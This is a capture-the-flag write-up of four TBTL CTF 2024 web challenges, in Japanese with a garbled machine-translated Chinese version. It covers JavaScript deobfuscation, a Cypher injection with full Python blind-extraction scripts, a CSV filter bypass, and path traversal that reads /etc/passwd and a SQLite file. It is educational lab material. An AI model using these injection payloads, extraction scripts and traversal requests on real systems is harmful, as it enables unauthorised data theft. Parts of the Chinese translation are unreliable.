TBTL CTF 2024 Writeup

WriteUp 5个月前 admin
111 0 0

[Web] Butterfly [Web]蝴蝶

ソースコード無し。アクセスしてみると難読化されたjavascriptが含まれていた。https://obf-io.deobfuscate.io/ に入れてみると比較的読める形になる。IndexedDBが使われていたので、公式ドキュメントを見ながら、見やすいように変名して、重要そうな所を抜粋すると以下のようになる。
没有源代码。当我访问它时,它包含了一个模糊的javascript。https://obf-io.deobfuscate.io/ 由于使用了IndexedDB,所以一边看正式文件,一边改名为便于观看,摘录重要的地方如下所示。

indexedDB.deleteDatabase("strangeStorage");
var request = indexedDB.open("strangeStorage", 1);
request.onupgradeneeded = function (event) {
  var db = event.target.result;
  var objectStore = db.createObjectStore("FLAG", {
    "keyPath": 'id',
    "autoIncrement": true
  });
  objectStore.createIndex("letter", "letter", {
    unique: false
  });
};
request.onsuccess = function (event) {
  var db = event.target.result;
  var transaction = db.transaction(["FLAG"], "readwrite");
  var objectStore = transaction.objectStore("FLAG");
  enc = ["UW=(X4s}@(BFLzW1(2}vGpzzgQNy;&L4H??)(5Q+40sB|^/s2bRfBst-x[ELa|VNS)uoYsX3P]`Fx36ClT_HA?rl", [... redacted ...] , '>aA/`=:_6ZhJm)eN;h;L>+~Q^6@RJUtR+H^]Q0kbsMd3c.Sk8{n,J>Hb*bOHnaJ2AdBFnA`MK[v5itlMJw-h|G/='];
  for (const line in enc) {
    var val = enc[line][line].charCodeAt();
    var dec = (val * val + 3 * val + 1 - (val + 1) * (val + 1)) * (2 * (line + 1) / (line + 1)) >> 1;
    objectStore.add({
      'letter': String.fromCharCode(dec)
    });
  }
};
code = atob("Q3J5cHRvSlMuQUVTLmRlY3J5cHQoQ0lQSEVSVEVYVCwgS0VZKS50b1N0cmluZyhDcnlwdG9KUy5lbmMuVXRmOCk=");
localStorage.setItem("execute", JSON.stringify({ "code": code }));
sessionStorage.setItem("KEY", atob("c2VjcmV0IGtleSBpcyB2ZXJ5IHNlY3VyZQ=="));

IndexedDBに入れられているものをまず取り出してみると何かのエンコード物のようなものが手に入る。次に、code部分をbase64デコードすると以下のようなスクリプトだった。
首先取出IndexedDB中放入的东西的话,就会得到某种编码物之类的东西。其次,对code部分进行base64解码后,脚本如下。

CryptoJS.AES.decrypt(CIPHERTEXT, KEY).toString(CryptoJS.enc.Utf8)

AESでKEYを使って復元してやればよさそう。以下のようにコードを作り実行すると、フラグが得られる。
我希望你能在AES中使用KEY来恢复它。如下所示,制作并执行代码时,可以得到标志。

enc = ["UW=(X4s}@(BFLzW1(2}vGpzzgQNy;&L4H??)(5Q+40sB|^/s2bRfBst-x[ELa|VNS)uoYsX3P]`Fx36ClT_HA?rl", [... redacted ...] ,'>aA/`=:_6ZhJm)eN;h;L>+~Q^6@RJUtR+H^]Q0kbsMd3c.Sk8{n,J>Hb*bOHnaJ2AdBFnA`MK[v5itlMJw-h|G/='];
flag = "";
for (const line in enc) {
    var val = enc[line][line].charCodeAt();
    var dec = (val * val + 3 * val + 1 - (val + 1) * (val + 1)) * (2 * (line + 1) / (line + 1)) >> 1;
    flag += String.fromCharCode(dec);
}

var CryptoJS = require("crypto-js"); // npm install crypto-js
CIPHERTEXT = flag;
KEY = atob("c2VjcmV0IGtleSBpcyB2ZXJ5IHNlY3VyZQ==");
dec = CryptoJS.AES.decrypt(CIPHERTEXT, KEY).toString(CryptoJS.enc.Utf8);
console.log(dec);

[Web] Mexico City Tour
[Web]墨西哥城之旅

ソースコード有り。DBとしてneo4jが動いており、以下のようにcipherのクエリが作られている。ただ埋め込まれているのでインジェクション可能。Cipher Injectionしよう。
有源代码。作为DB,neo4j正在运行,如下所示,制作了方法的查询。因为它是嵌入的,所以可以注入。让我们用密码注射。

distance_query = f'MATCH (n {{id: {start}}})-[p *bfs]-(m {{id: {end}}}) RETURN size(p) AS distance;'

ということで162をstartStationにして、145}) RETURN 1337 AS distance; //をendに入れてみると1337が出てきた。うまくいっていますね。結果は数値でしか取得できないので、(文字を数値に変換して抜けそうではあるが…)ブラインドで使えそうなクエリを探していこう。
因此,当我把 162 作为startStation,把 145}) RETURN 1337 AS distance; // 作为end时,我得到了1337。你做得很好,不是吗?由于结果只能以数字形式获得,(虽然我们将字符转换为数字并将其删除……)我们将寻找可以盲目使用的查询。

145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where a.title = '' or 3 <= size(keys(a)) return 1 AS distance; //
-> 1
145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where a.title = '' or 4 <= size(keys(a)) return 1 AS distance; //
-> unknown

いろいろみながら試すとこのような感じでブラインドで抜き取りできそうな式ができた。これを使って、以下のようにカラムを抜いてみる。
当我试着做各种事情的时候,我得到了一个公式,似乎可以用百叶窗从这种感觉中抽出。然后,我将尝试用下面的方法来移除柱子。

import requests
import time
BASE = 'http://ctf.dev.tbtl.io:8001/'
DIC = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}_'

def test(payload):
    t = requests.post(BASE + 'search', data={'startStation':'162','endStation':payload}).text
    time.sleep(1)
    return 'unknown' not in t

# Find the size of columns
ok = 0
ng = 256
while ok + 1 != ng:
    md = (ok + ng) // 2
    if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where " + str(md) + " <= size(keys(a)) return 1 AS distance; //"):
        ok = md
    else:
        ng = md

size_of_columns = ok
print(f"The size of columns is {size_of_columns}")

# Find the column
for i in range(size_of_columns):
    ok = 0
    ng = 256
    while ok + 1 != ng:
        md = (ok + ng) // 2
        if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where " + str(md) + " <= size(keys(a)[" + str(i) + "]) return 1 AS distance; //"):
            ok = md
        else:
            ng = md

    length = ok
    print(f"The length of column {i} is {length}")

    key = ''
    for j in range(length):
        for c in DIC:
            if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) where substring(keys(a)[" + str(i) + "],"+ str(j) + ",1)='" + c + "' return 1 AS distance; //"):
                key += c
                print(key)
                break

実行すると… 当我们执行它时..。

$ python3 solver.py 
The size of columns is 3
The length of column 0 is 2
i
id
The length of column 1 is 4
n
na
nam
name
The length of column 2 is 4
f
fl
fla
flag

flagカラムがあるようです。試しに145}) WHERE 1=0 RETURN -1 AS distance UNION MATCH (b) WHERE 0 < size(b.flag) RETURN b.id AS distance; //とすると-1が帰ってきました。かなりそれっぽい。145}) WHERE 1=0 RETURN -1 AS distance UNION MATCH (b) WHERE b.id = -1 RETURN size(b.flag) AS distance; //とすると30と出てきたので30文字のようです。同様にブラインドで持ってきましょう。以下のスクリプトでフラグが得られる。
它似乎有一个旗帜栏。如果我试了 145}) WHERE 1=0 RETURN -1 AS distance UNION MATCH (b) WHERE 0 < size(b.flag) RETURN b.id AS distance; // ,那么 -1 就回来了。看起来很像。如果是 145}) WHERE 1=0 RETURN -1 AS distance UNION MATCH (b) WHERE b.id = -1 RETURN size(b.flag) AS distance; // 的话,它出现了30个字符,所以它看起来像30个字符。让我们以同样的方式把它带进来。在下面的脚本中可以得到标志。

import requests
import time
BASE = 'http://[redacted]/'
DIC = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'

def test(payload):
    t = requests.post(BASE + 'search', data={'startStation':'162','endStation':payload}).text
    time.sleep(1)
    return 'unknown' not in t

flag = 'TBTL{wh3R3_15_mY_'
for i in range(len(flag), 30):
    for c in DIC:
        print(f"testing... {flag}{c}")
        if test("145}) WHERE 1=0 RETURN -1 AS distance UNION match (a) WHERE a.id = -1 AND substring(a.flag,"+ str(i) + ",1)='" + c + "' return 1 AS distance; //"):
            flag += c
            print(f"found!!!!!!!!!! {flag}")
            break

[Web] Rnd For Data Science
[Web]数据科学研究院

ソースコード有り。以下のような構成になっている。
有源代码。构成如下。

        ┌────────┐   ┌──────────────────┐
 ──────►│        ├──►│                  │
        │ app.py │   │ generator_app.py │
 ◄──────┤        │◄──┤                  │
        └────────┘   └──────────────────┘

まず、generator_app.pyは以下。 generator_app. py是:

@app.route("/", methods=['POST'])
def index():
    delimiter = request.form['delimiter']

    if len(delimiter) > 1:
        return 'ERROR'

    num_columns = int(request.form['numColumns'])
    if num_columns > 10:
        return 'ERROR'

    headers = ['id'] + [request.form["columnName" + str(i)] for i in range(num_columns)]

    forb_list = ['and', 'or', 'not']

    for header in headers:
        if len(header) > 120:
            return 'ERROR'
        for c in '\'"!@':
            if c in header:
                return 'ERROR'
        for forb_word in forb_list:
            if forb_word in header:
                return 'ERROR'

    csv_file = delimiter.join(headers)

    for i in range(10):
        row = [str(i)] + [str(rnd.randint(0, 100)) for _ in range(num_columns)]
        csv_file += '\n' + delimiter.join(row)

    row = [str('NaN')] + ['FLAG'] + [flag] + [str(0) for _ in range(num_columns)]
    csv_file += '\n' + delimiter.join(row[:len(headers)])

    return csv_file

適当にデータを作り、末尾にFLAGを追加している。numColumns=2&columnName0=a&columnName1=b&delimiter=%2Cというリクエストを送ると、以下のように帰ってくる。
适当地制作数据,在末尾追加FLAG。发送#0 #这样的请求后,如下返回。

id,a,b
0.0,61,32
1.0,99,5
2.0,40,83
3.0,94,58
4.0,23,54
5.0,64,56
6.0,36,32
7.0,51,30
8.0,94,77
9.0,71,78
NaN,FLAG,フラグ

しかし、app.py側で以下のようにフラグを削除している。
然而,在app.py中,我们删除了标志,如下所示。

# Filter out secrets
first = list(df.columns.values)[1]
df = df.query(f'{first} != "FLAG"')

2行目がFLAGのものを見つけてきているので、delimiterを_とかにして1行に全部入れ込む方法を考えてみよう。つまり、numColumns=2&columnName0=a&columnName1=b&delimiter=_としてみる。すると500応答が帰ってきた。これは上記のフィルタリング処理で[1]と指定しているため添え字エラーになるため。
在第二行中,我们找到了FLAG的东西,所以让我们考虑如何将delimiter设置为 _ 或类似的东西放在一行中。所以,让我们试试#1。然后我收到了500个回复。这是因为在上述过滤处理中指定了#2 #,所以会出现下标错误。

なので、,は入れてやる必要がありそうだが…と考えると、最初のカラム名,を含めればいい感じになるのでは?ということで以下のようにしてやるとフィルタリング回避できた。
所以,我想我可能需要把 , 放进去……如果我想,在第一列名称中包含 , 会不会感觉更好?这意味着,如果我做了以下的事情,我就可以避免过滤了。

POST /generate HTTP/1.1
Host: tbtl-rnd-for-data-science.chals.io
Content-Length: 54
Content-Type: application/x-www-form-urlencoded
Connection: close

numColumns=2&columnName0=,a&columnName1=,b&delimiter=_


HTTP/1.1 200 OK
Server: Werkzeug/3.0.2 Python/3.8.17
Date: Sat, 11 May 2024 02:25:59 GMT
Content-Disposition: inline; filename=data.csv
Content-Type: text/csv; charset=utf-8
Content-Length: 182
Cache-Control: no-cache
Connection: close

"id_"_"a_"_b
"0_100_9"__
"1_21_54"__
"2_71_31"__
"3_33_60"__
"4_9_80"__
"5_44_18"__
"6_64_59"__
"7_11_79"__
"8_53_3"__
"9_71_53"__
"NaN_FLAG_TBTL{■■■■■■■■■■■■■■■■■■■}"__

カラム部分が["id",",a",",b"]_で結合されて、id_,a_,bとなるため、良い感じにカラム数を演出できる。
列部分 ["id",",a",",b"] 用 _ 结合,成为 id_,a_,b ,所以可以很好地演出列数。

[Web] Talk To You [Web]和你谈谈

ソースコード無し。サイトを巡回するとGET /?page=offer.htmlという通信が発生していた。LFIというかパストラバーサルっぽい。
没有源代码。在网站上巡回时发生了 GET /?page=offer.html 的通信。它看起来像LFI或路径遍历。

とりあえずGET /?page=../etc/passwdしてみるといつものが得られた。色々guessするとGET /?page=../flag.txtで以下のように応答がある。
当我试着做0号的时候,我得到了正常的东西。进行各种各样的guess的话,在 GET /?page=../flag.txt 中有如下的应答。

Flag is in SQLite3: database.sqlite

ということでGET /?page=database.sqliteすると文字化けするが中身が見られてフラグが得られる。
因此,如果 GET /?page=database.sqlite 的话,就会出现乱码,但是可以看到内容,得到标记

原文始发于Hatena Blog:TBTL CTF 2024 Writeup

版权声明:admin 发表于 2024年5月14日 下午11:01。
转载请注明:TBTL CTF 2024 Writeup | CTF导航

相关文章